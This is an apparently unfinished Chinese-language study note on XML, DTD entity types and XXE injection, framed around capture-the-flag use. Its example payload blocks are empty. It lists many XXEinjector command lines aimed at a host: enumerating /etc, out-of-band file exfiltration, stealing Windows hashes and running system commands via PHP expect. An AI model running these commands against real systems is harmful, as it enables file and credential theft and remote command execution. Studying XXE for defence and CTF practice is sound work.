XXE
认识XML
定义
XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。
与HTML的区别
HTML 被设计用来显示数据
XML 被设计用来传输和存储数据
基本格式
1 | <!--XML声明--> |
DTD
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
内部实体
1 |
|
外部实体
1 | [ |
参数实体
1 | [ |
参数实体用% name声明,引用时用%name;,只能在DTD中声明,DTD中引用。
其余实体直接用name声明,引用时用&name;,只能在DTD中声明,可在xml文档中引用
外部参数实体
1 | [ |
认识XXE
定义
- XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为
simplexml_load_string()
。 - 一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
利用外部实体
1 |
|
利用外部参数实体
1 |
|
1 |
无回显
考虑利用公网服务器外带出flag
XXEinjector工具
安装教程
使用方法:
- 枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
- 使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
- 二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
- 使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
- 通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
- 枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
- 窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
- 使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
- 使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
- 测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
- 记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
xxexploiter
luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities (github.com))
未完待续
评论